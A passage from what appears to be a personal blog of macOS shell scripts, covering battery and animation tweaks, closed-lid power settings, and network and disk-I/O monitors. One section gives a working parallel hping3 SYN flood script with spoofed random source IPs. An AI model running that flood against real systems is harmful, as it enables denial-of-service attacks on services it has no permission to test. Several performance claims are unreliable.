sudo pmset -b ttyskeepawake 0
sudo pmset -b gpuswitch 0  # Force integrated GPU
sudo pmset -b hibernatemode 25  # Hibernate only mode
echo "Aggressive battery settings applied!"
\`\`\`

#### 🔄 Reset to Defaults
To restore factory power settings:

\`\`\`bash
#!/bin/bash
sudo pmset -a restoredefaults
echo "Power settings restored to defaults"
\`\`\`

---

*Report generated by Battery Drain Analyzer v1.0*
EOF

# Cleanup
rm -rf "$TEMP_DIR"

# Summary
echo ""
echo -e "${GREEN}✅ Analysis Complete!${NC}"
echo "Report saved to: $REPORT_FILE"
echo ""
echo "Key findings:"
[[ "$POWERNAP" == "1" ]] && echo -e "${RED}  ❌ Power Nap is enabled (HIGH drain)${NC}"
[[ "$TCPKEEPALIVE" == "1" ]] && echo -e "${YELLOW}  ⚠️ TCP Keep-Alive is enabled (MEDIUM drain)${NC}"
[[ "$WOMP" == "1" ]] && echo -e "${YELLOW}  ⚠️ Wake on LAN is enabled (MEDIUM drain)${NC}"
echo ""
echo "To view the full report:"
echo "  cat $REPORT_FILE"
echo ""
echo "To apply all recommended fixes:"
echo "  sudo pmset -a powernap 0 tcpkeepalive 0 womp 0"

EOF

chmod +x ~/battery_drain_analyzer.sh

If you see windowServer as your top consumer then consider the following:

# 1. Restart WindowServer (logs you out!)
sudo killall -HUP WindowServer

# 2. Reduce transparency
defaults write com.apple.universalaccess reduceTransparency -bool true

# 3. Disable animations
defaults write NSGlobalDomain NSAutomaticWindowAnimationsEnabled -bool false

# 4. Reset display preferences
rm ~/Library/Preferences/com.apple.windowserver.plist

Finer grained optimisations:

#!/bin/bash

echo "🔧 Applying ALL WindowServer Optimizations for M3 MacBook Pro..."
echo "This will reduce power consumption significantly"
echo ""

# ============================================
# VISUAL EFFECTS & ANIMATIONS (30-40% reduction)
# ============================================
echo "Disabling visual effects and animations..."

# Reduce transparency and motion
defaults write com.apple.universalaccess reduceTransparency -bool true
defaults write com.apple.universalaccess reduceMotion -bool true
defaults write com.apple.Accessibility ReduceMotionEnabled -int 1

# Disable smooth scrolling and window animations
defaults write NSGlobalDomain NSAutomaticWindowAnimationsEnabled -bool false
defaults write NSGlobalDomain NSScrollAnimationEnabled -bool false
defaults write NSGlobalDomain NSScrollViewRubberbanding -bool false
defaults write NSGlobalDomain NSWindowResizeTime -float 0.001
defaults write NSGlobalDomain NSDocumentRevisionsWindowTransformAnimation -bool false
defaults write NSGlobalDomain NSToolbarFullScreenAnimationDuration -float 0
defaults write NSGlobalDomain NSBrowserColumnAnimationSpeedMultiplier -float 0

# Dock optimizations
defaults write com.apple.dock autohide-time-modifier -float 0
defaults write com.apple.dock launchanim -bool false
defaults write com.apple.dock mineffect -string "scale"
defaults write com.apple.dock show-recents -bool false
defaults write com.apple.dock expose-animation-duration -float 0.1
defaults write com.apple.dock hide-mirror -bool true

# Mission Control optimizations
defaults write com.apple.dock expose-group-by-app -bool false
defaults write com.apple.dock mru-spaces -bool false
defaults write com.apple.dock dashboard-in-overlay -bool true

# Finder optimizations
defaults write com.apple.finder DisableAllAnimations -bool true
defaults write com.apple.finder AnimateWindowZoom -bool false
defaults write com.apple.finder AnimateInfoPanes -bool false
defaults write com.apple.finder FXEnableSlowAnimation -bool false

# Quick Look animations
defaults write -g QLPanelAnimationDuration -float 0

# Mail animations
defaults write com.apple.mail DisableReplyAnimations -bool true
defaults write com.apple.mail DisableSendAnimations -bool true

# ============================================
# M3-SPECIFIC OPTIMIZATIONS (10-15% reduction)
# ============================================
echo "Applying M3-specific optimizations..."

# Disable font smoothing (M3 handles text well without it)
defaults -currentHost write NSGlobalDomain AppleFontSmoothing -int 0
defaults write NSGlobalDomain CGFontRenderingFontSmoothingDisabled -bool true

# Optimize for battery when unplugged
sudo pmset -b gpuswitch 0  # Use efficiency cores more
sudo pmset -b lessbright 1 # Slightly dim display on battery
sudo pmset -b displaysleep 5  # Faster display sleep

# Reduce background rendering
defaults write NSGlobalDomain NSQuitAlwaysKeepsWindows -bool false
defaults write NSGlobalDomain NSDisableAutomaticTermination -bool true

# ============================================
# BROWSER OPTIMIZATIONS (15-25% reduction)
# ============================================
echo "Optimizing browsers..."

# Chrome optimizations
defaults write com.google.Chrome DisableHardwareAcceleration -bool true
defaults write com.google.Chrome CGDisableCoreAnimation -bool true
defaults write com.google.Chrome RendererProcessLimit -int 2
defaults write com.google.Chrome NSQuitAlwaysKeepsWindows -bool false

# Safari optimizations (more efficient than Chrome)
defaults write com.apple.Safari WebKitAcceleratedCompositingEnabled -bool false
defaults write com.apple.Safari WebKitWebGLEnabled -bool false
defaults write com.apple.Safari WebKit2WebGLEnabled -bool false

# Stable browser (if Chromium-based)
defaults write com.stable.browser DisableHardwareAcceleration -bool true

# ============================================
# ADVANCED WINDOWSERVER TWEAKS (5-10% reduction)
# ============================================
echo "Applying advanced WindowServer tweaks..."

# Reduce compositor update rate
defaults write com.apple.WindowManager StandardHideDelay -int 0
defaults write com.apple.WindowManager StandardHideTime -int 0
defaults write com.apple.WindowManager EnableStandardClickToShowDesktop -bool false

# Reduce shadow calculations
defaults write NSGlobalDomain NSUseLeopardWindowShadow -bool true

# Disable Dashboard
defaults write com.apple.dashboard mcx-disabled -bool true

# Menu bar transparency
defaults write NSGlobalDomain AppleEnableMenuBarTransparency -bool false

# ============================================
# DISPLAY SETTINGS (20-30% reduction)
# ============================================
echo "Optimizing display settings..."

# Enable automatic brightness adjustment
sudo defaults write /Library/Preferences/com.apple.iokit.AmbientLightSensor "Automatic Display Enabled" -bool true

# Power management settings
sudo pmset -a displaysleep 5
sudo pmset -a disksleep 10
sudo pmset -a sleep 15
sudo pmset -a hibernatemode 3
sudo pmset -a autopoweroff 1
sudo pmset -a autopoweroffdelay 28800

# ============================================
# BACKGROUND SERVICES
# ============================================
echo "Optimizing background services..."

# Reduce Spotlight activity
sudo mdutil -a -i off  # Temporarily disable, re-enable with 'on'

# Limit background app refresh
defaults write NSGlobalDomain NSAppSleepDisabled -bool false

# ============================================
# APPLY ALL CHANGES
# ============================================
echo "Applying changes..."

# Restart affected services
killall Dock
killall Finder
killall SystemUIServer
killall Mail 2>/dev/null
killall Safari 2>/dev/null
killall "Google Chrome" 2>/dev/null

echo ""
echo "✅ All optimizations applied!"
echo ""
echo "📊 Expected improvements:"
echo "  • WindowServer CPU: 4.5% → 1-2%"
echo "  • Battery life gain: +1-2 hours"
echo "  • GPU power reduction: ~30-40%"
echo ""
echo "⚠️  IMPORTANT: Please log out and back in for all changes to take full effect"
echo ""
echo "💡 To monitor WindowServer usage:"
echo "   ps aux | grep WindowServer | grep -v grep | awk '{print \$3\"%\"}'"
echo ""
echo "🔄 To revert all changes, run:"
echo "   defaults delete com.apple.universalaccess"
echo "   defaults delete NSGlobalDomain"
echo "   defaults delete com.apple.dock"
echo "   killall Dock && killall Finder"

To optimise the power when the lid is closed, below are some options:

#!/bin/bash

echo "🔋 Applying CRITICAL closed-lid battery optimizations for M3 MacBook Pro..."
echo "These settings specifically target battery drain when lid is closed"
echo ""

# ============================================
# #1 HIGHEST IMPACT (50-70% reduction when lid closed)
# ============================================
echo "1️⃣ Disabling Power Nap (HIGHEST IMPACT - stops wake for updates)..."
sudo pmset -a powernap 0

echo "2️⃣ Disabling TCP Keep-Alive (HIGH IMPACT - stops network maintenance)..."
sudo pmset -a tcpkeepalive 0

echo "3️⃣ Disabling Wake for Network Access (HIGH IMPACT - prevents network wakes)..."
sudo pmset -a womp 0

# ============================================
# #2 HIGH IMPACT (20-30% reduction)
# ============================================
echo "4️⃣ Setting aggressive sleep settings..."
# When on battery, sleep faster and deeper
sudo pmset -b sleep 1                    # Sleep after 1 minute of inactivity
sudo pmset -b disksleep 5                # Spin down disk after 5 minutes
sudo pmset -b hibernatemode 25           # Hibernate only (no sleep+RAM power)
sudo pmset -b standbydelay 300           # Enter standby after 5 minutes
sudo pmset -b autopoweroff 1             # Enable auto power off
sudo pmset -b autopoweroffdelay 900      # Power off after 15 minutes

echo "5️⃣ Disabling wake features..."
sudo pmset -a ttyskeepawake 0           # Don't wake for terminal sessions
sudo pmset -a lidwake 0                  # Don't wake on lid open (until power button)
sudo pmset -a acwake 0                   # Don't wake on AC attach

# ============================================
# #3 MEDIUM IMPACT (10-20% reduction)
# ============================================
echo "6️⃣ Disabling background services that wake the system..."

# Disable Bluetooth wake
sudo defaults write /Library/Preferences/com.apple.Bluetooth.plist ControllerPowerState 0

# Disable Location Services wake
sudo defaults write /Library/Preferences/com.apple.locationd.plist LocationServicesEnabled -bool false

# Disable Find My wake events
sudo pmset -a proximityWake 0 2>/dev/null

# Disable Handoff/Continuity features that might wake
sudo defaults write com.apple.Handoff HandoffEnabled -bool false

# ============================================
# #4 SPECIFIC WAKE PREVENTION (5-10% reduction)
# ============================================
echo "7️⃣ Preventing specific wake events..."

# Disable scheduled wake events
sudo pmset repeat cancel

# Clear any existing scheduled events
sudo pmset schedule cancelall

# Disable DarkWake (background wake without display)
sudo pmset -a darkwakes 0 2>/dev/null

# Disable wake for Time Machine
sudo defaults write /Library/Preferences/com.apple.TimeMachine.plist RequiresACPower -bool true

# ============================================
# #5 BACKGROUND APP PREVENTION
# ============================================
echo "8️⃣ Stopping apps from preventing sleep..."

# Kill processes that commonly prevent sleep
killall -9 photoanalysisd 2>/dev/null
killall -9 mds_stores 2>/dev/null
killall -9 backupd 2>/dev/null

# Disable Spotlight indexing when on battery
sudo mdutil -a -i off

# Disable Photos analysis
launchctl disable user/$UID/com.apple.photoanalysisd

# ============================================
# VERIFY SETTINGS
# ============================================
echo ""
echo "✅ Closed-lid optimizations complete! Verifying..."
echo ""
echo "Current problematic settings status:"
pmset -g | grep -E "powernap|tcpkeepalive|womp|sleep|hibernatemode|standby|lidwake"

echo ""
echo "Checking what might still wake your Mac:"
pmset -g assertions | grep -i "prevent"

echo ""
echo "==============================================="
echo "🎯 EXPECTED RESULTS WITH LID CLOSED:"
echo "  • Battery drain: 1-2% per hour (down from 5-10%)"
echo "  • No wake events except opening lid + pressing power"
echo "  • Background services completely disabled"
echo ""
echo "⚠️ TRADE-OFFS:"
echo "  • No email/message updates with lid closed"
echo "  • No Time Machine backups on battery"
echo "  • Must press power button after opening lid"
echo "  • Handoff/AirDrop disabled"
echo ""
echo "🔄 TO RESTORE CONVENIENCE FEATURES:"
echo "sudo pmset -a powernap 1 tcpkeepalive 1 womp 1 lidwake 1"
echo "sudo pmset -b hibernatemode 3 standbydelay 10800"
echo "sudo mdutil -a -i on"
echo ""
echo "📊 TEST YOUR BATTERY DRAIN:"
echo "1. Note battery % and close lid"
echo "2. Wait 1 hour"
echo "3. Open and check battery %"
echo "4. Should lose only 1-2%"

Testing your sites SYN flood resistance using hping3 in parallel

A SYN flood test using hping3 that allows you to specify the number of SYN packets to send and scales horizontally with a specific number of processes can be created using a Bash script with the xargs command. This approach allows you to distribute the workload across multiple processes for better performance.

The Script

This script uses hping3 to perform a SYN flood attack with a configurable packet count and number of parallel processes.

cat > ./syn_flood_parallel.sh << 'EOF'
#!/bin/bash

# A simple script to perform a SYN flood test using hping3,
# with configurable packet count, parallel processes, and optional source IP randomization.

# --- Configuration ---
TARGET_IP=$1
TARGET_PORT=$2
PACKET_COUNT_TOTAL=$3
PROCESSES=$4
RANDOMIZE_SOURCE=${5:-true}  # Default to true if not specified

# --- Usage Message ---
if [ -z "$TARGET_IP" ] || [ -z "$TARGET_PORT" ] || [ -z "$PACKET_COUNT_TOTAL" ] || [ -z "$PROCESSES" ]; then
    echo "Usage: $0 <TARGET_IP> <TARGET_PORT> <PACKET_COUNT_TOTAL> <PROCESSES> [RANDOMIZE_SOURCE]"
    echo ""
    echo "Parameters:"
    echo "  TARGET_IP           - Target IP address or hostname"
    echo "  TARGET_PORT         - Target port number (1-65535)"
    echo "  PACKET_COUNT_TOTAL  - Total number of SYN packets to send"
    echo "  PROCESSES           - Number of parallel processes (2-10 recommended)"
    echo "  RANDOMIZE_SOURCE    - true/false (optional, default: true)"
    echo ""
    echo "Examples:"
    echo "  $0 192.168.1.1 80 100000 4           # With randomized source IPs (default)"
    echo "  $0 192.168.1.1 80 100000 4 true      # Explicitly enable source IP randomization"
    echo "  $0 192.168.1.1 80 100000 4 false     # Use actual source IP (no randomization)"
    exit 1
fi

# --- Main Logic ---
echo "========================================"
echo "Starting SYN flood test on $TARGET_IP:$TARGET_PORT"
echo "Sending $PACKET_COUNT_TOTAL SYN packets with $PROCESSES parallel processes."
echo "Source IP randomization: $RANDOMIZE_SOURCE"
echo "========================================"

# Calculate packets per process
PACKETS_PER_PROCESS=$((PACKET_COUNT_TOTAL / PROCESSES))

# Build hping3 command based on randomization option
if [ "$RANDOMIZE_SOURCE" = "true" ]; then
    echo "Using randomized source IPs (--rand-source)"
    # Use seq and xargs to parallelize the hping3 command with random source IPs
    seq 1 $PROCESSES | xargs -I {} -P $PROCESSES bash -c "hping3 -S -p $TARGET_PORT --rand-source --fast -c $PACKETS_PER_PROCESS $TARGET_IP"
else
    echo "Using actual source IP (no randomization)"
    # Use seq and xargs to parallelize the hping3 command without source randomization
    seq 1 $PROCESSES | xargs -I {} -P $PROCESSES bash -c "hping3 -S -p $TARGET_PORT --fast -c $PACKETS_PER_PROCESS $TARGET_IP"
fi

echo ""
echo "========================================"
echo "SYN flood test complete."
echo "Total packets sent: $PACKET_COUNT_TOTAL"
echo "========================================"

EOF

chmod +x ./syn_flood_parallel.sh

Example Usage:

# Default behavior - randomized source IPs (parameter 5 defaults to true)
./syn_flood_parallel.sh 192.168.1.1 80 10000 4

# Explicitly enable source IP randomization
./syn_flood_parallel.sh 192.168.1.1 80 10000 4 true

# Disable source IP randomization (use actual source IP)
./syn_flood_parallel.sh 192.168.1.1 80 10000 4 false

# High-volume test with randomized IPs
./syn_flood_parallel.sh example.com 443 100000 8 true

# Test without IP randomization (easier to trace/debug)
./syn_flood_parallel.sh testserver.local 22 5000 2 false

Explanation of the Parameters:

Parameter 1: TARGET_IP

  • The target IP address or hostname
  • Examples: 192.168.1.1, example.com, 10.0.0.5

Parameter 2: TARGET_PORT

  • The target port number (1-65535)
  • Common: 80 (HTTP), 443 (HTTPS), 22 (SSH), 8080

Parameter 3: PACKET_COUNT_TOTAL

  • Total number of SYN packets to send
  • Range: Any positive integer (e.g., 1000 to 1000000)

Parameter 4: PROCESSES

  • Number of parallel hping3 processes to spawn
  • Recommended: 2-10 (depending on CPU cores)

Parameter 5: RANDOMIZE_SOURCE (OPTIONAL)

  • true: Use randomized source IPs (–rand-source flag)
    Makes packets appear from random IPs, harder to block
  • false: Use actual source IP (no randomization)
    Easier to trace and debug, simpler firewall rules
  • Default: true (if parameter not specified)

Important Considerations ⚠️

• Permissions: hping3 requires root or superuser privileges to craft and send raw packets. You’ll need to run this script with sudo.

• Legal and Ethical Use: This tool is for ethical and educational purposes only. Using this script to perform a SYN flood attack on a network or system you do not own or have explicit permission to test is illegal. Use it in a controlled lab environment.

Macbook: Return a list of processes using a specific remote port number

I find this script useful for debugging which processes are talking to which remote port.

cat > ~/netmon.sh << 'EOF'
#!/bin/zsh

# Network Connection Monitor with Color Coding
# Shows TCP/UDP connections with state and process info
# Refreshes every 5 seconds
# Usage: ./netmon.sh [--port PORT] [--ip IP_ADDRESS]

# Parse command line arguments
FILTER_PORT=""
FILTER_IP=""

while [[ $# -gt 0 ]]; do
    case $1 in
        --port|-p)
            FILTER_PORT="$2"
            shift 2
            ;;
        --ip|-i)
            FILTER_IP="$2"
            shift 2
            ;;
        --help|-h)
            echo "Usage: $0 [OPTIONS]"
            echo "Options:"
            echo "  --port, -p PORT    Filter by remote port"
            echo "  --ip, -i IP        Filter by remote IP address"
            echo "  --help, -h         Show this help message"
            echo ""
            echo "Examples:"
            echo "  $0 --port 443      Show only connections to port 443"
            echo "  $0 --ip 1.1.1.1    Show only connections to IP 1.1.1.1"
            echo "  $0 -p 80 -i 192.168.1.1  Show connections to 192.168.1.1:80"
            exit 0
            ;;
        *)
            echo "Unknown option: $1"
            echo "Use --help for usage information"
            exit 1
            ;;
    esac
done

# Color definitions
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
MAGENTA='\033[0;35m'
CYAN='\033[0;36m'
WHITE='\033[1;37m'
GRAY='\033[0;90m'
NC='\033[0m' # No Color
BOLD='\033[1m'

# Function to get process name from PID
get_process_name() {
    local pid=$1
    if [ "$pid" != "-" ] && [ "$pid" != "0" ] && [ -n "$pid" ]; then
        ps -p "$pid" -o comm= 2>/dev/null || echo "unknown"
    else
        echo "-"
    fi
}

# Function to color-code based on state
get_state_color() {
    local state=$1
    case "$state" in
        "ESTABLISHED")
            echo "${GREEN}"
            ;;
        "LISTEN")
            echo "${BLUE}"
            ;;
        "TIME_WAIT")
            echo "${YELLOW}"
            ;;
        "CLOSE_WAIT")
            echo "${MAGENTA}"
            ;;
        "SYN_SENT"|"SYN_RCVD")
            echo "${CYAN}"
            ;;
        "FIN_WAIT"*)
            echo "${GRAY}"
            ;;
        "CLOSING"|"LAST_ACK")
            echo "${RED}"
            ;;
        *)
            echo "${WHITE}"
            ;;
    esac
}

# Function to split address into IP and port
split_address() {
    local addr=$1
    local ip=""
    local port=""
    
    if [[ "$addr" == "*"* ]]; then
        ip="*"
        port="*"
    elif [[ "$addr" =~ ^([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\.([0-9]+)$ ]]; then
        # IPv4 address with port (format: x.x.x.x.port)
        ip="${match[1]}"
        port="${match[2]}"
    elif [[ "$addr" =~ ^(.*):([0-9]+)$ ]]; then
        # Handle IPv6 format or hostname:port
        ip="${match[1]}"
        port="${match[2]}"
    elif [[ "$addr" =~ ^(.*)\.(well-known|[a-z]+)$ ]]; then
        # Handle named services
        ip="${match[1]}"
        port="${match[2]}"
    else
        ip="$addr"
        port="-"
    fi
    
    echo "$ip|$port"
}

# Function to check if connection matches filters
matches_filter() {
    local remote_ip=$1
    local remote_port=$2
    
    # Check port filter
    if [ -n "$FILTER_PORT" ] && [ "$remote_port" != "$FILTER_PORT" ]; then
        return 1
    fi
    
    # Check IP filter
    if [ -n "$FILTER_IP" ]; then
        # Handle partial IP matching
        if [[ "$remote_ip" != *"$FILTER_IP"* ]]; then
            return 1
        fi
    fi
    
    return 0
}

# Function to display connections
show_connections() {
    clear
    
    # Header
    echo -e "${BOLD}${WHITE}=== Network Connections Monitor ===${NC}"
    echo -e "${BOLD}${WHITE}$(date '+%Y-%m-%d %H:%M:%S')${NC}"
    
    # Show active filters
    if [ -n "$FILTER_PORT" ] || [ -n "$FILTER_IP" ]; then
        echo -e "${YELLOW}Active Filters:${NC}"
        [ -n "$FILTER_PORT" ] && echo -e "  Remote Port: ${BOLD}$FILTER_PORT${NC}"
        [ -n "$FILTER_IP" ] && echo -e "  Remote IP: ${BOLD}$FILTER_IP${NC}"
    fi
    echo ""
    
    # Legend
    echo -e "${BOLD}Color Legend:${NC}"
    echo -e "  ${GREEN}●${NC} ESTABLISHED    ${BLUE}●${NC} LISTEN         ${YELLOW}●${NC} TIME_WAIT"
    echo -e "  ${CYAN}●${NC} SYN_SENT/RCVD  ${MAGENTA}●${NC} CLOSE_WAIT     ${RED}●${NC} CLOSING/LAST_ACK"
    echo -e "  ${GRAY}●${NC} FIN_WAIT       ${WHITE}●${NC} OTHER/UDP"
    echo ""
    
    # Table header
    printf "${BOLD}%-6s %-22s %-22s %-7s %-12s %-8s %-30s${NC}\n" \
        "PROTO" "LOCAL ADDRESS" "REMOTE IP" "R.PORT" "STATE" "PID" "PROCESS"
    echo "$(printf '%.0s-' {1..120})"
    
    # Temporary file for storing connections
    TMPFILE=$(mktemp)
    
    # Get TCP connections with netstat
    # Note: On macOS, we need sudo to see process info for all connections
    if command -v sudo >/dev/null 2>&1; then
        # Try with sudo first (will show all processes)
        sudo netstat -anp tcp 2>/dev/null | grep -E '^tcp' > "$TMPFILE" 2>/dev/null || \
        netstat -an -p tcp 2>/dev/null | grep -E '^tcp' > "$TMPFILE"
    else
        netstat -an -p tcp 2>/dev/null | grep -E '^tcp' > "$TMPFILE"
    fi
    
    # Process TCP connections
    while IFS= read -r line; do
        # Parse netstat output (macOS format)
        proto=$(echo "$line" | awk '{print $1}')
        local_addr=$(echo "$line" | awk '{print $4}')
        remote_addr=$(echo "$line" | awk '{print $5}')
        state=$(echo "$line" | awk '{print $6}')
        
        # Split remote address into IP and port
        IFS='|' read -r remote_ip remote_port <<< "$(split_address "$remote_addr")"
        
        # Apply filters
        if ! matches_filter "$remote_ip" "$remote_port"; then
            continue
        fi
        
        # Try to get PID using lsof for the local address
        if [[ "$local_addr" =~ ^([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\.([0-9]+)$ ]]; then
            port="${match[2]}"
        elif [[ "$local_addr" =~ '^\*\.([0-9]+)$' ]]; then
            port="${match[1]}"
        elif [[ "$local_addr" =~ ^([0-9a-f:]+)\.([0-9]+)$ ]]; then
            port="${match[2]}"
            # Use lsof to find the PID
            pid=$(sudo lsof -i TCP:$port -sTCP:$state 2>/dev/null | grep -v PID | head -1 | awk '{print $2}')
            if [ -z "$pid" ]; then
                pid="-"
                process="-"
            else
                process=$(get_process_name "$pid")
            fi
        else
            pid="-"
            process="-"
        fi
        
        # Get color based on state
        color=$(get_state_color "$state")
        
        # Format and print
        printf "${color}%-6s %-22s %-22s %-7s %-12s %-8s %-30s${NC}\n" \
            "$proto" \
            "${local_addr:0:22}" \
            "${remote_ip:0:22}" \
            "${remote_port:0:7}" \
            "$state" \
            "$pid" \
            "${process:0:30}"
    done < "$TMPFILE"
    
    # Get UDP connections
    echo ""
    if command -v sudo >/dev/null 2>&1; then
        sudo netstat -anp udp 2>/dev/null | grep -E '^udp' > "$TMPFILE" 2>/dev/null || \
        netstat -an -p udp 2>/dev/null | grep -E '^udp' > "$TMPFILE"
    else
        netstat -an -p udp 2>/dev/null | grep -E '^udp' > "$TMPFILE"
    fi
    
    # Process UDP connections
    while IFS= read -r line; do
        # Parse netstat output for UDP
        proto=$(echo "$line" | awk '{print $1}')
        local_addr=$(echo "$line" | awk '{print $4}')
        remote_addr=$(echo "$line" | awk '{print $5}')
        
        # Split remote address into IP and port
        IFS='|' read -r remote_ip remote_port <<< "$(split_address "$remote_addr")"
        
        # Apply filters
        if ! matches_filter "$remote_ip" "$remote_port"; then
            continue
        fi
        
        # UDP doesn't have state
        state="*"
        
        # Try to get PID using lsof for the local address
        if [[ "$local_addr" =~ ^([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\.([0-9]+)$ ]]; then
            port="${match[2]}"
        elif [[ "$local_addr" =~ '^\*\.([0-9]+)$' ]]; then
            port="${match[1]}"
        elif [[ "$local_addr" =~ ^([0-9a-f:]+)\.([0-9]+)$ ]]; then
            port="${match[2]}"
            # Use lsof to find the PID
            pid=$(sudo lsof -i UDP:$port 2>/dev/null | grep -v PID | head -1 | awk '{print $2}')
            if [ -z "$pid" ]; then
                pid="-"
                process="-"
            else
                process=$(get_process_name "$pid")
            fi
        else
            pid="-"
            process="-"
        fi
        
        # White color for UDP
        printf "${WHITE}%-6s %-22s %-22s %-7s %-12s %-8s %-30s${NC}\n" \
            "$proto" \
            "${local_addr:0:22}" \
            "${remote_ip:0:22}" \
            "${remote_port:0:7}" \
            "$state" \
            "$pid" \
            "${process:0:30}"
    done < "$TMPFILE"
    
    # Clean up
    rm -f "$TMPFILE"
    
    # Footer
    echo ""
    echo "$(printf '%.0s-' {1..120})"
    echo -e "${BOLD}Press Ctrl+C to exit${NC} | Refreshing every 5 seconds..."
    
    # Show filter hint if no filters active
    if [ -z "$FILTER_PORT" ] && [ -z "$FILTER_IP" ]; then
        echo -e "${GRAY}Tip: Use --port PORT or --ip IP to filter connections${NC}"
    fi
}

# Trap Ctrl+C to exit cleanly
trap 'echo -e "\n${BOLD}Exiting...${NC}"; exit 0' INT

# Main loop
echo -e "${BOLD}${CYAN}Starting Network Connection Monitor...${NC}"
echo -e "${YELLOW}Note: Run with sudo for complete process information${NC}"

# Show active filters on startup
if [ -n "$FILTER_PORT" ] || [ -n "$FILTER_IP" ]; then
    echo -e "${GREEN}Filtering enabled:${NC}"
    [ -n "$FILTER_PORT" ] && echo -e "  Remote Port: ${BOLD}$FILTER_PORT${NC}"
    [ -n "$FILTER_IP" ] && echo -e "  Remote IP: ${BOLD}$FILTER_IP${NC}"
fi

sleep 2

while true; do
    show_connections
    sleep 5
done
<network_base>EOF

chmod +x ~/netmon.sh</network_base>

Example Usuage:

# Show all connections
./netmon.sh

# Filter by port
./netmon.sh --port 443

# Filter by IP
./netmon.sh --ip 142.251

# Run with sudo for full process information
sudo ./netmon.sh --port 443

Macbook: Script to monitor the top disk reads and writes

The script below tracks disk usage of a macbook for 20 seconds and the shows the processes with the highest disk utilisations

#!/bin/bash

# Disk I/O Monitor for macOS
# Shows which processes are using disk I/O the most with full paths

DURATION=20

echo "Disk I/O Monitor for macOS"
echo "========================================"
echo ""

# Check for sudo
if [[ $EUID -ne 0 ]]; then
    echo "ERROR: This script requires sudo privileges"
    echo "Please run: sudo $0"
    exit 1
fi

# Create temp file
TEMP_FILE="/tmp/disk_io_$$.txt"
export TEMP_FILE

# Collect data
echo "Collecting disk I/O data for $DURATION seconds..."
fs_usage -w -f filesys 2>/dev/null > "$TEMP_FILE" &
FS_PID=$!

# Progress bar
for i in $(seq 1 $DURATION); do
    printf "\rProgress: [%-20s] %d/%d seconds" "$(printf '#%.0s' $(seq 1 $((i*20/DURATION))))" $i $DURATION
    sleep 1
done
echo ""

# Stop collection
kill $FS_PID 2>/dev/null
wait $FS_PID 2>/dev/null

echo ""
echo "Processing data..."

# Parse with Python - pass temp file as argument
python3 - "$TEMP_FILE" << 'PYTHON_END'
import re
import os
import sys
from collections import defaultdict
import subprocess

# Get temp file from argument
temp_file = sys.argv[1] if len(sys.argv) > 1 else '/tmp/disk_io_temp.txt'

# Storage for process stats
stats = defaultdict(lambda: {'reads': 0, 'writes': 0, 'process_name': '', 'pid': ''})

# Parse fs_usage output
try:
    with open(temp_file, 'r') as f:
        for line in f:
            # Look for lines with process info (format: processname.pid at end of line)
            match = re.search(r'(\S+)\.(\d+)\s*$', line)
            if match:
                process_name = match.group(1)
                pid = match.group(2)
                key = f"{process_name}|{pid}"
                
                # Store process info
                stats[key]['process_name'] = process_name
                stats[key]['pid'] = pid
                
                # Categorize operation
                if any(op in line for op in ['RdData', 'read', 'READ', 'getattrlist', 'stat64', 'lstat64', 'open']):
                    stats[key]['reads'] += 1
                elif any(op in line for op in ['WrData', 'write', 'WRITE', 'close', 'fsync']):
                    stats[key]['writes'] += 1
except Exception as e:
    print(f"Error reading file: {e}")
    sys.exit(1)

# Calculate totals
total_ops = sum(s['reads'] + s['writes'] for s in stats.values())

# Get executable paths
def get_exe_path(process_name, pid):
    try:
        # Method 1: Try lsof with format output
        result = subprocess.run(['lsof', '-p', pid, '-Fn'], capture_output=True, text=True, stderr=subprocess.DEVNULL)
        paths = []
        for line in result.stdout.split('\n'):
            if line.startswith('n'):
                path = line[1:].strip()
                paths.append(path)
        
        # Look for the best path
        for path in paths:
            if '/Contents/MacOS/' in path and process_name in path:
                return path
            elif path.endswith('.app'):
                return path
            elif any(p in path for p in ['/bin/', '/sbin/', '/usr/']) and not any(path.endswith(ext) for ext in ['.dylib', '.so']):
                return path
        
        # Method 2: Try ps
        result = subprocess.run(['ps', '-p', pid, '-o', 'command='], capture_output=True, text=True, stderr=subprocess.DEVNULL)
        if result.stdout.strip():
            cmd = result.stdout.strip().split()[0]
            if os.path.exists(cmd):
                return cmd
        
        # Method 3: Return command name from ps
        result = subprocess.run(['ps', '-p', pid, '-o', 'comm='], capture_output=True, text=True, stderr=subprocess.DEVNULL)
        if result.stdout.strip():
            return result.stdout.strip()
            
    except Exception:
        pass
    
    # Last resort: return process name
    return process_name

# Sort by total operations
sorted_stats = sorted(stats.items(), key=lambda x: x[1]['reads'] + x[1]['writes'], reverse=True)

# Print header
print("\n%-30s %-8s %-45s %8s %8s %8s %7s %7s" % 
      ("Process Name", "PID", "Executable Path", "Reads", "Writes", "Total", "Read%", "Write%"))
print("=" * 140)

# Print top 20 processes
count = 0
for key, data in sorted_stats:
    if data['reads'] + data['writes'] == 0:
        continue
        
    total = data['reads'] + data['writes']
    read_pct = (data['reads'] * 100.0 / total_ops) if total_ops > 0 else 0
    write_pct = (data['writes'] * 100.0 / total_ops) if total_ops > 0 else 0
    
    # Get executable path
    exe_path = get_exe_path(data['process_name'], data['pid'])
    if len(exe_path) > 45:
        exe_path = "..." + exe_path[-42:]
    
    print("%-30s %-8s %-45s %8d %8d %8d %6.1f%% %6.1f%%" % 
          (data['process_name'][:30], 
           data['pid'], 
           exe_path,
           data['reads'], 
           data['writes'], 
           total,
           read_pct, 
           write_pct))
    
    count += 1
    if count >= 20:
        break

print("=" * 140)
print(f"Total I/O operations captured: {total_ops}")

PYTHON_END

# Cleanup
rm -f "$TEMP_FILE"

echo ""
echo "Monitoring complete."

Example output:

Disk I/O Monitor for macOS
========================================

Collecting disk I/O data for 20 seconds...
Progress: [####################] 20/20 seconds

Processing data...

Process Name                   PID      Executable Path                                  Reads   Writes    Total   Read%  Write%
============================================================================================================================================
Chrome                         4719678  Chrome                                             427      811     1238    3.1%    5.9%
UPMServiceController           4644625  UPMServiceController                               423      587     1010    3.1%    4.3%
UPMServiceController           4014337  UPMServiceController                               468      309      777    3.4%    2.2%
wsdlpd                         3060029  wsdlpd                                             154      370      524    1.1%    2.7%
tccd                           4743441  tccd                                               359       48      407    2.6%    0.3%
tccd                           4742031  tccd                                               358       48      406    2.6%    0.3%
